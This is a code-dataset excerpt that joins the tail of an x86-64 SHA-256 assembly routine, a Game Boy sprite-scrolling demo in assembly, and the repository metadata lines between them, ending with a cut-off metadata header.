r14d,11 pshufd xmm7,xmm7,8 xor edi,r10d add r8d,r12d movdqa xmm6,XMMWORD PTR[rsi] ror r13d,6 and r15d,edi pslldq xmm7,8 xor r14d,r9d add r8d,r13d xor r15d,r10d paddd xmm0,xmm7 ror r14d,2 add eax,r8d add r8d,r15d paddd xmm6,xmm0 mov r13d,eax add r14d,r8d movdqa XMMWORD PTR[rsp],xmm6 ror r13d,14 movdqa xmm4,xmm2 mov r8d,r14d mov r12d,ebx movdqa xmm7,xmm0 ror r14d,9 xor r13d,eax xor r12d,ecx ror r13d,5 xor r14d,r8d DB 102,15,58,15,225,4 and r12d,eax xor r13d,eax DB 102,15,58,15,251,4 add edx,DWORD PTR[16+rsp] mov r15d,r8d xor r12d,ecx ror r14d,11 movdqa xmm5,xmm4 xor r15d,r9d add edx,r12d movdqa xmm6,xmm4 ror r13d,6 and edi,r15d psrld xmm4,3 xor r14d,r8d add edx,r13d xor edi,r9d paddd xmm1,xmm7 ror r14d,2 add r11d,edx psrld xmm6,7 add edx,edi mov r13d,r11d pshufd xmm7,xmm0,250 add r14d,edx ror r13d,14 pslld xmm5,14 mov edx,r14d mov r12d,eax pxor xmm4,xmm6 ror r14d,9 xor r13d,r11d xor r12d,ebx ror r13d,5 psrld xmm6,11 xor r14d,edx pxor xmm4,xmm5 and r12d,r11d xor r13d,r11d pslld xmm5,11 add ecx,DWORD PTR[20+rsp] mov edi,edx pxor xmm4,xmm6 xor r12d,ebx ror r14d,11 movdqa xmm6,xmm7 xor edi,r8d add ecx,r12d pxor xmm4,xmm5 ror r13d,6 and r15d,edi xor r14d,edx psrld xmm7,10 add ecx,r13d xor r15d,r8d paddd xmm1,xmm4 ror r14d,2 add r10d,ecx psrlq xmm6,17 add ecx,r15d mov r13d,r10d add r14d,ecx pxor xmm7,xmm6 ror r13d,14 mov ecx,r14d mov r12d,r11d ror r14d,9 psrlq xmm6,2 xor r13d,r10d xor r12d,eax pxor xmm7,xmm6 ror r13d,5 xor r14d,ecx and r12d,r10d pshufd xmm7,xmm7,128 xor r13d,r10d add ebx,DWORD PTR[24+rsp] mov r15d,ecx psrldq xmm7,8 xor r12d,eax ror r14d,11 xor r15d,edx add ebx,r12d ror r13d,6 paddd xmm1,xmm7 and edi,r15d xor r14d,ecx add ebx,r13d pshufd xmm7,xmm1,80 xor edi,edx ror r14d,2 add r9d,ebx movdqa xmm6,xmm7 add ebx,edi mov r13d,r9d psrld xmm7,10 add r14d,ebx ror r13d,14 psrlq xmm6,17 mov ebx,r14d mov r12d,r10d pxor xmm7,xmm6 ror r14d,9 xor r13d,r9d xor r12d,r11d ror r13d,5 xor r14d,ebx psrlq xmm6,2 and r12d,r9d xor r13d,r9d add eax,DWORD PTR[28+rsp] pxor xmm7,xmm6 mov edi,ebx xor r12d,r11d ror r14d,11 pshufd xmm7,xmm7,8 xor edi,ecx add eax,r12d movdqa xmm6,XMMWORD PTR[16+rsi] ror r13d,6 and r15d,edi pslldq xmm7,8 xor r14d,ebx add eax,r13d xor r15d,ecx paddd xmm1,xmm7 ror r14d,2 add r8d,eax add eax,r15d paddd xmm6,xmm1 mov r13d,r8d add r14d,eax movdqa XMMWORD PTR[16+rsp],xmm6 ror r13d,14 movdqa xmm4,xmm3 mov eax,r14d mov r12d,r9d movdqa xmm7,xmm1 ror r14d,9 xor r13d,r8d xor r12d,r10d ror r13d,5 xor r14d,eax DB 102,15,58,15,226,4 and r12d,r8d xor r13d,r8d DB 102,15,58,15,248,4 add r11d,DWORD PTR[32+rsp] mov r15d,eax xor r12d,r10d ror r14d,11 movdqa xmm5,xmm4 xor r15d,ebx add r11d,r12d movdqa xmm6,xmm4 ror r13d,6 and edi,r15d psrld xmm4,3 xor r14d,eax add r11d,r13d xor edi,ebx paddd xmm2,xmm7 ror r14d,2 add edx,r11d psrld xmm6,7 add r11d,edi mov r13d,edx pshufd xmm7,xmm1,250 add r14d,r11d ror r13d,14 pslld xmm5,14 mov r11d,r14d mov r12d,r8d pxor xmm4,xmm6 ror r14d,9 xor r13d,edx xor r12d,r9d ror r13d,5 psrld xmm6,11 xor r14d,r11d pxor xmm4,xmm5 and r12d,edx xor r13d,edx pslld xmm5,11 add r10d,DWORD PTR[36+rsp] mov edi,r11d pxor xmm4,xmm6 xor r12d,r9d ror r14d,11 movdqa xmm6,xmm7 xor edi,eax add r10d,r12d pxor xmm4,xmm5 ror r13d,6 and r15d,edi xor r14d,r11d psrld xmm7,10 add r10d,r13d xor r15d,eax paddd xmm2,xmm4 ror r14d,2 add ecx,r10d psrlq xmm6,17 add r10d,r15d mov r13d,ecx add r14d,r10d pxor xmm7,xmm6 ror r13d,14 mov r10d,r14d mov r12d,edx ror r14d,9 psrlq xmm6,2 xor r13d,ecx xor r12d,r8d pxor xmm7,xmm6 ror r13d,5 xor r14d,r10d and r12d,ecx pshufd xmm7,xmm7,128 xor r13d,ecx add r9d,DWORD PTR[40+rsp] mov r15d,r10d psrldq xmm7,8 xor r12d,r8d ror r14d,11 xor r15d,r11d add r9d,r12d ror r13d,6 paddd xmm2,xmm7 and edi,r15d xor r14d,r10d add r9d,r13d pshufd xmm7,xmm2,80 xor edi,r11d ror r14d,2 add ebx,r9d movdqa xmm6,xmm7 add r9d,edi mov r13d,ebx psrld xmm7,10 add r14d,r9d ror r13d,14 psrlq xmm6,17 mov r9d,r14d mov r12d,ecx pxor xmm7,xmm6 ror r14d,9 xor r13d,ebx xor r12d,edx ror r13d,5 xor r14d,r9d psrlq xmm6,2 and r12d,ebx xor r13d,ebx add r8d,DWORD PTR[44+rsp] pxor xmm7,xmm6 mov edi,r9d xor r12d,edx ror r14d,11 pshufd xmm7,xmm7,8 xor edi,r10d add r8d,r12d movdqa xmm6,XMMWORD PTR[32+rsi] ror r13d,6 and r15d,edi pslldq xmm7,8 xor r14d,r9d add r8d,r13d xor r15d,r10d paddd xmm2,xmm7 ror r14d,2 add eax,r8d add r8d,r15d paddd xmm6,xmm2 mov r13d,eax add r14d,r8d movdqa XMMWORD PTR[32+rsp],xmm6 ror r13d,14 movdqa xmm4,xmm0 mov r8d,r14d mov r12d,ebx movdqa xmm7,xmm2 ror r14d,9 xor r13d,eax xor r12d,ecx ror r13d,5 xor r14d,r8d DB 102,15,58,15,227,4 and r12d,eax xor r13d,eax DB 102,15,58,15,249,4 add edx,DWORD PTR[48+rsp] mov r15d,r8d xor r12d,ecx ror r14d,11 movdqa xmm5,xmm4 xor r15d,r9d add edx,r12d movdqa xmm6,xmm4 ror r13d,6 and edi,r15d psrld xmm4,3 xor r14d,r8d add edx,r13d xor edi,r9d paddd xmm3,xmm7 ror r14d,2 add r11d,edx psrld xmm6,7 add edx,edi mov r13d,r11d pshufd xmm7,xmm2,250 add r14d,edx ror r13d,14 pslld xmm5,14 mov edx,r14d mov r12d,eax pxor xmm4,xmm6 ror r14d,9 xor r13d,r11d xor r12d,ebx ror r13d,5 psrld xmm6,11 xor r14d,edx pxor xmm4,xmm5 and r12d,r11d xor r13d,r11d pslld xmm5,11 add ecx,DWORD PTR[52+rsp] mov edi,edx pxor xmm4,xmm6 xor r12d,ebx ror r14d,11 movdqa xmm6,xmm7 xor edi,r8d add ecx,r12d pxor xmm4,xmm5 ror r13d,6 and r15d,edi xor r14d,edx psrld xmm7,10 add ecx,r13d xor r15d,r8d paddd xmm3,xmm4 ror r14d,2 add r10d,ecx psrlq xmm6,17 add ecx,r15d mov r13d,r10d add r14d,ecx pxor xmm7,xmm6 ror r13d,14 mov ecx,r14d mov r12d,r11d ror r14d,9 psrlq xmm6,2 xor r13d,r10d xor r12d,eax pxor xmm7,xmm6 ror r13d,5 xor r14d,ecx and r12d,r10d pshufd xmm7,xmm7,128 xor r13d,r10d add ebx,DWORD PTR[56+rsp] mov r15d,ecx psrldq xmm7,8 xor r12d,eax ror r14d,11 xor r15d,edx add ebx,r12d ror r13d,6 paddd xmm3,xmm7 and edi,r15d xor r14d,ecx add ebx,r13d pshufd xmm7,xmm3,80 xor edi,edx ror r14d,2 add r9d,ebx movdqa xmm6,xmm7 add ebx,edi mov r13d,r9d psrld xmm7,10 add r14d,ebx ror r13d,14 psrlq xmm6,17 mov ebx,r14d mov r12d,r10d pxor xmm7,xmm6 ror r14d,9 xor r13d,r9d xor r12d,r11d ror r13d,5 xor r14d,ebx psrlq xmm6,2 and r12d,r9d xor r13d,r9d add eax,DWORD PTR[60+rsp] pxor xmm7,xmm6 mov edi,ebx xor r12d,r11d ror r14d,11 pshufd xmm7,xmm7,8 xor edi,ecx add eax,r12d movdqa xmm6,XMMWORD PTR[48+rsi] ror r13d,6 and r15d,edi pslldq xmm7,8 xor r14d,ebx add eax,r13d xor r15d,ecx paddd xmm3,xmm7 ror r14d,2 add r8d,eax add eax,r15d paddd xmm6,xmm3 mov r13d,r8d add r14d,eax movdqa XMMWORD PTR[48+rsp],xmm6 cmp BYTE PTR[67+rsi],0 jne $L$ssse3_00_47 ror r13d,14 mov eax,r14d mov r12d,r9d ror r14d,9 xor r13d,r8d xor r12d,r10d ror r13d,5 xor r14d,eax and r12d,r8d xor r13d,r8d add r11d,DWORD PTR[rsp] mov r15d,eax xor r12d,r10d ror r14d,11 xor r15d,ebx add r11d,r12d ror r13d,6 and edi,r15d xor r14d,eax add r11d,r13d xor edi,ebx ror r14d,2 add edx,r11d add r11d,edi mov r13d,edx add r14d,r11d ror r13d,14 mov r11d,r14d mov r12d,r8d ror r14d,9 xor r13d,edx xor r12d,r9d ror r13d,5 xor r14d,r11d and r12d,edx xor r13d,edx add r10d,DWORD PTR[4+rsp] mov edi,r11d xor r12d,r9d ror r14d,11 xor edi,eax add r10d,r12d ror r13d,6 and r15d,edi xor r14d,r11d add r10d,r13d xor r15d,eax ror r14d,2 add ecx,r10d add r10d,r15d mov r13d,ecx add r14d,r10d ror r13d,14 mov r10d,r14d mov r12d,edx ror r14d,9 xor r13d,ecx xor r12d,r8d ror r13d,5 xor r14d,r10d and r12d,ecx xor r13d,ecx add r9d,DWORD PTR[8+rsp] mov r15d,r10d xor r12d,r8d ror r14d,11 xor r15d,r11d add r9d,r12d ror r13d,6 and edi,r15d xor r14d,r10d add r9d,r13d xor edi,r11d ror r14d,2 add ebx,r9d add r9d,edi mov r13d,ebx add r14d,r9d ror r13d,14 mov r9d,r14d mov r12d,ecx ror r14d,9 xor r13d,ebx xor r12d,edx ror r13d,5 xor r14d,r9d and r12d,ebx xor r13d,ebx add r8d,DWORD PTR[12+rsp] mov edi,r9d xor r12d,edx ror r14d,11 xor edi,r10d add r8d,r12d ror r13d,6 and r15d,edi xor r14d,r9d add r8d,r13d xor r15d,r10d ror r14d,2 add eax,r8d add r8d,r15d mov r13d,eax add r14d,r8d ror r13d,14 mov r8d,r14d mov r12d,ebx ror r14d,9 xor r13d,eax xor r12d,ecx ror r13d,5 xor r14d,r8d and r12d,eax xor r13d,eax add edx,DWORD PTR[16+rsp] mov r15d,r8d xor r12d,ecx ror r14d,11 xor r15d,r9d add edx,r12d ror r13d,6 and edi,r15d xor r14d,r8d add edx,r13d xor edi,r9d ror r14d,2 add r11d,edx add edx,edi mov r13d,r11d add r14d,edx ror r13d,14 mov edx,r14d mov r12d,eax ror r14d,9 xor r13d,r11d xor r12d,ebx ror r13d,5 xor r14d,edx and r12d,r11d xor r13d,r11d add ecx,DWORD PTR[20+rsp] mov edi,edx xor r12d,ebx ror r14d,11 xor edi,r8d add ecx,r12d ror r13d,6 and r15d,edi xor r14d,edx add ecx,r13d xor r15d,r8d ror r14d,2 add r10d,ecx add ecx,r15d mov r13d,r10d add r14d,ecx ror r13d,14 mov ecx,r14d mov r12d,r11d ror r14d,9 xor r13d,r10d xor r12d,eax ror r13d,5 xor r14d,ecx and r12d,r10d xor r13d,r10d add ebx,DWORD PTR[24+rsp] mov r15d,ecx xor r12d,eax ror r14d,11 xor r15d,edx add ebx,r12d ror r13d,6 and edi,r15d xor r14d,ecx add ebx,r13d xor edi,edx ror r14d,2 add r9d,ebx add ebx,edi mov r13d,r9d add r14d,ebx ror r13d,14 mov ebx,r14d mov r12d,r10d ror r14d,9 xor r13d,r9d xor r12d,r11d ror r13d,5 xor r14d,ebx and r12d,r9d xor r13d,r9d add eax,DWORD PTR[28+rsp] mov edi,ebx xor r12d,r11d ror r14d,11 xor edi,ecx add eax,r12d ror r13d,6 and r15d,edi xor r14d,ebx add eax,r13d xor r15d,ecx ror r14d,2 add r8d,eax add eax,r15d mov r13d,r8d add r14d,eax ror r13d,14 mov eax,r14d mov r12d,r9d ror r14d,9 xor r13d,r8d xor r12d,r10d ror r13d,5 xor r14d,eax and r12d,r8d xor r13d,r8d add r11d,DWORD PTR[32+rsp] mov r15d,eax xor r12d,r10d ror r14d,11 xor r15d,ebx add r11d,r12d ror r13d,6 and edi,r15d xor r14d,eax add r11d,r13d xor edi,ebx ror r14d,2 add edx,r11d add r11d,edi mov r13d,edx add r14d,r11d ror r13d,14 mov r11d,r14d mov r12d,r8d ror r14d,9 xor r13d,edx xor r12d,r9d ror r13d,5 xor r14d,r11d and r12d,edx xor r13d,edx add r10d,DWORD PTR[36+rsp] mov edi,r11d xor r12d,r9d ror r14d,11 xor edi,eax add r10d,r12d ror r13d,6 and r15d,edi xor r14d,r11d add r10d,r13d xor r15d,eax ror r14d,2 add ecx,r10d add r10d,r15d mov r13d,ecx add r14d,r10d ror r13d,14 mov r10d,r14d mov r12d,edx ror r14d,9 xor r13d,ecx xor r12d,r8d ror r13d,5 xor r14d,r10d and r12d,ecx xor r13d,ecx add r9d,DWORD PTR[40+rsp] mov r15d,r10d xor r12d,r8d ror r14d,11 xor r15d,r11d add r9d,r12d ror r13d,6 and edi,r15d xor r14d,r10d add r9d,r13d xor edi,r11d ror r14d,2 add ebx,r9d add r9d,edi mov r13d,ebx add r14d,r9d ror r13d,14 mov r9d,r14d mov r12d,ecx ror r14d,9 xor r13d,ebx xor r12d,edx ror r13d,5 xor r14d,r9d and r12d,ebx xor r13d,ebx add r8d,DWORD PTR[44+rsp] mov edi,r9d xor r12d,edx ror r14d,11 xor edi,r10d add r8d,r12d ror r13d,6 and r15d,edi xor r14d,r9d add r8d,r13d xor r15d,r10d ror r14d,2 add eax,r8d add r8d,r15d mov r13d,eax add r14d,r8d ror r13d,14 mov r8d,r14d mov r12d,ebx ror r14d,9 xor r13d,eax xor r12d,ecx ror r13d,5 xor r14d,r8d and r12d,eax xor r13d,eax add edx,DWORD PTR[48+rsp] mov r15d,r8d xor r12d,ecx ror r14d,11 xor r15d,r9d add edx,r12d ror r13d,6 and edi,r15d xor r14d,r8d add edx,r13d xor edi,r9d ror r14d,2 add r11d,edx add edx,edi mov r13d,r11d add r14d,edx ror r13d,14 mov edx,r14d mov r12d,eax ror r14d,9 xor r13d,r11d xor r12d,ebx ror r13d,5 xor r14d,edx and r12d,r11d xor r13d,r11d add ecx,DWORD PTR[52+rsp] mov edi,edx xor r12d,ebx ror r14d,11 xor edi,r8d add ecx,r12d ror r13d,6 and r15d,edi xor r14d,edx add ecx,r13d xor r15d,r8d ror r14d,2 add r10d,ecx add ecx,r15d mov r13d,r10d add r14d,ecx ror r13d,14 mov ecx,r14d mov r12d,r11d ror r14d,9 xor r13d,r10d xor r12d,eax ror r13d,5 xor r14d,ecx and r12d,r10d xor r13d,r10d add ebx,DWORD PTR[56+rsp] mov r15d,ecx xor r12d,eax ror r14d,11 xor r15d,edx add ebx,r12d ror r13d,6 and edi,r15d xor r14d,ecx add ebx,r13d xor edi,edx ror r14d,2 add r9d,ebx add ebx,edi mov r13d,r9d add r14d,ebx ror r13d,14 mov ebx,r14d mov r12d,r10d ror r14d,9 xor r13d,r9d xor r12d,r11d ror r13d,5 xor r14d,ebx and r12d,r9d xor r13d,r9d add eax,DWORD PTR[60+rsp] mov edi,ebx xor r12d,r11d ror r14d,11 xor edi,ecx add eax,r12d ror r13d,6 and r15d,edi xor r14d,ebx add eax,r13d xor r15d,ecx ror r14d,2 add r8d,eax add eax,r15d mov r13d,r8d add r14d,eax mov rdi,QWORD PTR[rbp] mov eax,r14d mov rsi,QWORD PTR[8+rbp] add eax,DWORD PTR[rdi] add ebx,DWORD PTR[4+rdi] add ecx,DWORD PTR[8+rdi] add edx,DWORD PTR[12+rdi] add r8d,DWORD PTR[16+rdi] add r9d,DWORD PTR[20+rdi] add r10d,DWORD PTR[24+rdi] add r11d,DWORD PTR[28+rdi] lea rsi,QWORD PTR[64+rsi] cmp rsi,QWORD PTR[16+rbp] mov DWORD PTR[rdi],eax mov DWORD PTR[4+rdi],ebx mov DWORD PTR[8+rdi],ecx mov DWORD PTR[12+rdi],edx mov DWORD PTR[16+rdi],r8d mov DWORD PTR[20+rdi],r9d mov DWORD PTR[24+rdi],r10d mov DWORD PTR[28+rdi],r11d jb $L$loop_ssse3 xorps xmm0,xmm0 lea r11,QWORD PTR[((104+48))+rbp] movaps XMMWORD PTR[rsp],xmm0 movaps XMMWORD PTR[16+rsp],xmm0 movaps XMMWORD PTR[32+rsp],xmm0 movaps XMMWORD PTR[48+rsp],xmm0 movaps xmm6,XMMWORD PTR[32+rbp] movaps xmm7,XMMWORD PTR[48+rbp] movaps xmm8,XMMWORD PTR[64+rbp] movaps xmm9,XMMWORD PTR[80+rbp] mov r15,QWORD PTR[104+rbp] mov r14,QWORD PTR[((-40))+r11] mov r13,QWORD PTR[((-32))+r11] mov r12,QWORD PTR[((-24))+r11] mov rbx,QWORD PTR[((-16))+r11] mov rbp,QWORD PTR[((-8))+r11] $L$SEH_epilogue_sha256_block_data_order:: mov rdi,QWORD PTR[8+r11] ;WIN64 epilogue mov rsi,QWORD PTR[16+r11] lea rsp,QWORD PTR[r11] DB 0F3h,0C3h ;repret $L$SEH_end_sha256_block_data_order:: sha256_block_data_order ENDP PUBLIC sha256_emit ALIGN 16 sha256_emit PROC PUBLIC DB 243,15,30,250 mov r8,QWORD PTR[rdx] mov r9,QWORD PTR[8+rdx] mov r10,QWORD PTR[16+rdx] bswap r8 mov r11,QWORD PTR[24+rdx] bswap r9 mov DWORD PTR[4+rcx],r8d bswap r10 mov DWORD PTR[12+rcx],r9d bswap r11 mov DWORD PTR[20+rcx],r10d shr r8,32 mov DWORD PTR[28+rcx],r11d shr r9,32 mov DWORD PTR[rcx],r8d shr r10,32 mov DWORD PTR[8+rcx],r9d shr r11,32 mov DWORD PTR[16+rcx],r10d mov DWORD PTR[24+rcx],r11d DB 0F3h,0C3h ;repret sha256_emit ENDP PUBLIC sha256_bcopy ALIGN 16 sha256_bcopy PROC PUBLIC DB 243,15,30,250 sub rcx,rdx $L$oop_bcopy:: movzx eax,BYTE PTR[rdx] lea rdx,QWORD PTR[1+rdx] mov BYTE PTR[((-1))+rdx*1+rcx],al dec r8 jnz $L$oop_bcopy DB 0F3h,0C3h ;repret sha256_bcopy ENDP PUBLIC sha256_hcopy ALIGN 16 sha256_hcopy PROC PUBLIC DB 243,15,30,250 mov r8,QWORD PTR[rdx] mov r9,QWORD PTR[8+rdx] mov r10,QWORD PTR[16+rdx] mov r11,QWORD PTR[24+rdx] mov QWORD PTR[rcx],r8 mov QWORD PTR[8+rcx],r9 mov QWORD PTR[16+rcx],r10 mov QWORD PTR[24+rcx],r11 DB 0F3h,0C3h ;repret sha256_hcopy ENDP .text$ ENDS .pdata SEGMENT READONLY ALIGN(4) ALIGN 4 DD imagerel $L$SEH_begin_sha256_block_data_order_shaext DD imagerel $L$SEH_body_sha256_block_data_order_shaext DD imagerel $L$SEH_info_sha256_block_data_order_shaext_prologue DD imagerel $L$SEH_body_sha256_block_data_order_shaext DD imagerel $L$SEH_epilogue_sha256_block_data_order_shaext DD imagerel $L$SEH_info_sha256_block_data_order_shaext_body DD imagerel $L$SEH_epilogue_sha256_block_data_order_shaext DD imagerel $L$SEH_end_sha256_block_data_order_shaext DD imagerel $L$SEH_info_sha256_block_data_order_shaext_epilogue DD imagerel $L$SEH_begin_sha256_block_data_order DD imagerel $L$SEH_body_sha256_block_data_order DD imagerel $L$SEH_info_sha256_block_data_order_prologue DD imagerel $L$SEH_body_sha256_block_data_order DD imagerel $L$SEH_epilogue_sha256_block_data_order DD imagerel $L$SEH_info_sha256_block_data_order_body DD imagerel $L$SEH_epilogue_sha256_block_data_order DD imagerel $L$SEH_end_sha256_block_data_order DD imagerel $L$SEH_info_sha256_block_data_order_epilogue .pdata ENDS .xdata SEGMENT READONLY ALIGN(8) ALIGN 8 $L$SEH_info_sha256_block_data_order_shaext_prologue:: DB 1,0,5,00bh DB 0,074h,1,0 DB 0,064h,2,0 DB 0,003h DB 0,0 $L$SEH_info_sha256_block_data_order_shaext_body:: DB 1,0,15,0 DB 000h,068h,000h,000h DB 000h,078h,001h,000h DB 000h,088h,002h,000h DB 000h,098h,003h,000h DB 000h,0a8h,004h,000h DB 000h,074h,00ch,000h DB 000h,064h,00dh,000h DB 000h,0a2h DB 000h,000h,000h,000h,000h,000h $L$SEH_info_sha256_block_data_order_shaext_epilogue:: DB 1,0,5,11 DB 000h,074h,001h,000h DB 000h,064h,002h,000h DB 000h,003h DB 000h,000h $L$SEH_info_sha256_block_data_order_prologue:: DB 1,0,5,00bh DB 0,074h,1,0 DB 0,064h,2,0 DB 0,003h DB 0,0 $L$SEH_info_sha256_block_data_order_body:: DB 1,0,26,5 DB 000h,068h,002h,000h DB 000h,078h,003h,000h DB 000h,088h,004h,000h DB 000h,098h,005h,000h DB 000h,0f4h,00dh,000h DB 000h,0e4h,00eh,000h DB 000h,0d4h,00fh,000h DB 000h,0c4h,010h,000h DB 000h,034h,011h,000h DB 000h,074h,014h,000h DB 000h,064h,015h,000h DB 000h,003h DB 000h,001h,012h,000h DB 000h,050h $L$SEH_info_sha256_block_data_order_epilogue:: DB 1,0,5,11 DB 000h,074h,001h,000h DB 000h,064h,002h,000h DB 000h,003h DB 000h,000h .xdata ENDS END
17.1655
64
0.733267
becf327f7bd5193e08c64f6e0b9bb792ef012c0e
8,544
asm
Assembly
src/gbscroll.asm
m-worley/remnant
1c9d97cc61f305949123773df1da386dd4a0a520
[ "MIT" ]
null
null
null
src/gbscroll.asm
m-worley/remnant
1c9d97cc61f305949123773df1da386dd4a0a520
[ "MIT" ]
null
null
null
src/gbscroll.asm
m-worley/remnant
1c9d97cc61f305949123773df1da386dd4a0a520
[ "MIT" ]
null
null
null
; gbscroll.asm ; Main entry point into the demo. INCLUDE "gbhw.inc" ; standard hardware definitions from devrs.com INCLUDE "ibmpc1.inc" ; ASCII character set from devrs.com INCLUDE "sprite.inc" ; specific defs SPEED EQU $0fff ASCII_TILES_SIZE EQU 8*256 MOVEMENT_SPEED EQU 1 ; create variables SpriteAttr playerSprite ; IRQs SECTION "Vblank",HOME[$0040] jp DMACODELOC ; *hs* update sprites every time the Vblank interrupt is called (~60Hz) SECTION "LCDC",HOME[$0048] reti SECTION "Timer_Overflow",HOME[$0050] reti SECTION "Serial",HOME[$0058] reti SECTION "p1thru4",HOME[$0060] reti ; **************************************************************************************** ; boot loader jumps to here. ; **************************************************************************************** SECTION "start",HOME[$0100] nop jp Begin ; **************************************************************************************** ; ROM HEADER and ASCII character set ; **************************************************************************************** ; ROM header ROM_HEADER ROM_NOMBC, ROM_SIZE_32KBYTE, RAM_SIZE_0KBYTE INCLUDE "memory.asm" ASCIIData: chr_IBMPC1 1,8 ; LOAD ENTIRE CHARACTER SET INCLUDE "tilemap.inc" ; **************************************************************************************** ; Main code Initialization: ; set the stack pointer, enable interrupts, set the palette, set the screen relative to the window ; copy the ASCII character table, clear the screen ; **************************************************************************************** Begin: nop di ld sp, $ffff ; set the stack pointer to highest mem location + 1 ; NEXT FOUR LINES FOR SETTING UP SPRITES *hs* call InitDMA ; move routine to HRAM ld a, IEF_VBLANK ld [rIE],a ; ENABLE ONLY VBLANK INTERRUPT ei ; LET THE INTS FLY Initialize: ld a, %11100100 ; Window palette colors, from darkest to lightest ld [rBGP], a ; set background and window pallette ldh [rOBP0],a ; set sprite pallette 0 (choose palette 0 or 1 when describing the sprite) ldh [rOBP1],a ; set sprite pallette 1 ld a,0 ; SET SCREEN TO TO UPPER RIGHT HAND CORNER ld [rSCX], a ld [rSCY], a ld [isCameraMovingX], a ld [isCameraMovingY], a call StopLCD ; YOU CAN NOT LOAD $8000 WITH LCD ON ; Load the background tile data from ROM and copy to VRAM. ld hl, background_tiles_tile_data ld de, _VRAM ld bc, background_tiles_tile_data_size call mem_Copy ClearSpriteTable: ; *hs* erase sprite table ld a,0 ld hl,OAMDATALOC ld bc,OAMDATALENGTH call mem_Set InitBackgroundMap: ld a, LCDCF_ON|LCDCF_BG8000|LCDCF_BG9800|LCDCF_BGON|LCDCF_OBJ8|LCDCF_OBJON ; *hs* see gbspec.txt lines 1525-1565 and gbhw.inc lines 70-86 ld [rLCDC], a ld a, 32 ; ASCII FOR BLANK SPACE ld hl, _SCRN0 ld bc, SCRN_VX_B * SCRN_VY_B call mem_SetVRAM ; Set variables. ld a, background_tiles_tile_map_width ld [tilemapWidth], a ld a, background_tiles_tile_map_height ld [tilemapHeight], a ld bc, background_tiles_tile_data ld hl, pTileData ld a, b ld [hl+], a ld a, c ld [hl], a ; Initialize tile map in VRAM call CopyTileMapBlock SpriteSetup: PutSpriteYAddr playerSprite, 0 ; set player location to 0,0 PutSpriteXAddr playerSprite, 0 ld a,1 ; ; ibmpc1.inc ASCII character 1 is happy face :-) ld [playerSpriteTileNum],a ;sprite 1's tile address ld a,%00000000 ;set flags (see gbhw.inc lines 33-42) ld [playerSpriteFlags],a ;save flags ; **************************************************************************************** ; Main Program Loop ; **************************************************************************************** MainLoop: halt nop ; always put NOP after HALT (gbspec.txt lines 514-578) ld bc,SPEED call SimpleDelay call HandleInput jr MainLoop ; **************************************************************************************** ; Subroutines ; **************************************************************************************** HandleInput: call GetKeys push af and PADF_RIGHT call nz,MoveRight pop af push af and PADF_LEFT call nz,MoveLeft pop af push af and PADF_UP call nz,MoveUp pop af push af and PADF_DOWN call nz,MoveDown pop af push af and PADF_START call nz,Yflip pop af ret MoveRight: GetSpriteXAddr playerSprite ld b, a cp SCRN_X-8 ; already on RHS of screen? ret z cp SCRN_MIDPOINT_X-8 ; If the player reaches the middle of the screen, scroll the camera right. call z, ScrollCameraRight ld a, [isCameraMovingX] ; If the camera is moving, then we don't need to update the player position on the screen. cp $01 ret z ld a, b add a, MOVEMENT_SPEED PutSpriteXAddr playerSprite,a ret MoveLeft: GetSpriteXAddr playerSprite ld b, a cp 0 ; already on LHS of screen? ret z cp SCRN_MIDPOINT_X-8 ; If the player reaches the middle of the screen, scroll the camera right. call z, ScrollCameraLeft ld a, [isCameraMovingX] ; If the camera is moving, then we don't need to update the player position on the screen. cp $01 ret z ld a, b sub a, MOVEMENT_SPEED PutSpriteXAddr playerSprite,a ret MoveUp: GetSpriteYAddr playerSprite ld b, a cp 0 ; already on top of screen? ret z cp SCRN_MIDPOINT_Y-8 ; If the player reaches the middle of the screen, scroll the camera right. call z, ScrollCameraUp ld a, [isCameraMovingY] ; If the camera is moving, then we don't need to update the player position on the screen. cp $01 ret z ld a, b sub a, MOVEMENT_SPEED PutSpriteYAddr playerSprite,a ret MoveDown: GetSpriteYAddr playerSprite ld b, a cp SCRN_Y - 8 ; already at bottom of screen? ret z cp SCRN_MIDPOINT_Y-8 ; If the player reaches the middle of the screen, scroll the camera right. call z, ScrollCameraDown ld a, [isCameraMovingY] ; If the camera is moving, then we don't need to update the player position on the screen. cp $01 ret z ld a, b add a, MOVEMENT_SPEED PutSpriteYAddr playerSprite,a ret Yflip: ld a,[playerSpriteFlags] xor OAMF_YFLIP ; toggle flip of sprite vertically ld [playerSpriteFlags],a ret SimpleDelay: dec bc ld a,b or c jr nz, SimpleDelay ret ; GetKeys: adapted from APOCNOW.ASM and gbspec.txt GetKeys: ;gets keypress ld a,P1F_5 ; set bit 5 ld [rP1],a ; select P14 by setting it low. See gbspec.txt lines 1019-1095 ld a,[rP1] ld a,[rP1] ; wait a few cycles cpl ; complement A. "You are a very very nice Accumulator..." and $0f ; look at only the first 4 bits swap a ; move bits 3-0 into 7-4 ld b,a ; and store in b ld a,P1F_4 ; select P15 ld [rP1],a ld a,[rP1] ld a,[rP1] ld a,[rP1] ld a,[rP1] ld a,[rP1] ld a,[rP1] ; wait for the bouncing to stop cpl ; as before, complement... and $0f ; and look only for the last 4 bits or b ; combine with the previous result ret ; do we need to reset joypad? (gbspec line 1082) ; *hs* START InitDMA: ld de, DMACODELOC ld hl, DMACode ld bc, DMAEnd-DMACode call mem_CopyVRAM ; copy when VRAM is available ret DMACode: push af ld a, OAMDATALOCBANK ; bank where OAM DATA is stored ldh [rDMA], a ; Start DMA ld a, $28 ; 160ns DMAWait: dec a jr nz, DMAWait pop af reti DMAEnd: ; *hs* END ; **************************************************************************************** ; StopLCD: ; turn off LCD if it is on ; and wait until the LCD is off ; **************************************************************************************** StopLCD: ld a,[rLCDC] rlca ; Put the high bit of LCDC into the Carry flag ret nc ; Screen is off already. Exit. ; Loop until we are in VBlank .wait: ld a,[rLY] cp 145 ; Is display on scan line 145 yet? jr nz,.wait ; no, keep waiting ; Turn off the LCD ld a,[rLCDC] res 7,a ; Reset bit 7 of LCDC ld [rLCDC],a ret ;------------------------------------------------------------------------- ; Internal RAM: Dynamic Variables reside here ;------------------------------------------------------------------------- SECTION "Tilemap Variables",BSS[_RS] ; Is the camera currently moving, or are we near the edge of the map? isCameraMovingX: DS 1 isCameraMovingY: DS 1 ; The total height of the entire tile map. tilemapHeight: DS 2 ; The total width of the entire tile map. tilemapWidth: DS 2 ; A pointer to the current tile data. pTileData: DS 2
27.921569
138
0.599251
a33ed4861f57773aa2ab375d2e6d11c746db94c1
1,834
asm
Assembly
programs/oeis/088/A088041.asm
neoneye/loda
